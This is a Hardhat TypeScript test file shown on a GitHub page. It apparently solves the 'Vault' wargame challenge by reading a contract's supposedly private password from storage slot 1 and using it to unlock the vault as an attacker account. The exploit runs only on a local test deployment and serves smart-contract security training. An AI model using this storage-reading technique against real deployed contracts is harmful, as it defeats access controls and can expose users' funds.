generated from nicobevilacqua/hardhat-solidity-typescript-boilerplate
-
Notifications
You must be signed in to change notification settings - Fork 0
/
08-Vault.test.ts
30 lines (23 loc) · 908 Bytes
/
08-Vault.test.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers';
import { expect } from 'chai';
import { BigNumber, Contract, utils } from 'ethers';
import { ethers } from 'hardhat';
const { provider } = ethers;
const passwordInBytes = utils.formatBytes32String('password');
describe('Vault', () => {
let owner: SignerWithAddress;
let attacker: SignerWithAddress;
let contract: Contract;
before(async () => {
const Factory = await ethers.getContractFactory('Vault');
contract = await Factory.deploy(passwordInBytes);
await contract.deployed();
[owner, attacker] = await ethers.getSigners();
});
it('attack', async () => {
const storedPasswordInBytes = await provider.getStorageAt(contract.address, 1);
let tx = await contract.connect(attacker).unlock(storedPasswordInBytes);
await tx.wait();
expect(await contract.locked()).to.equal(false);
});
});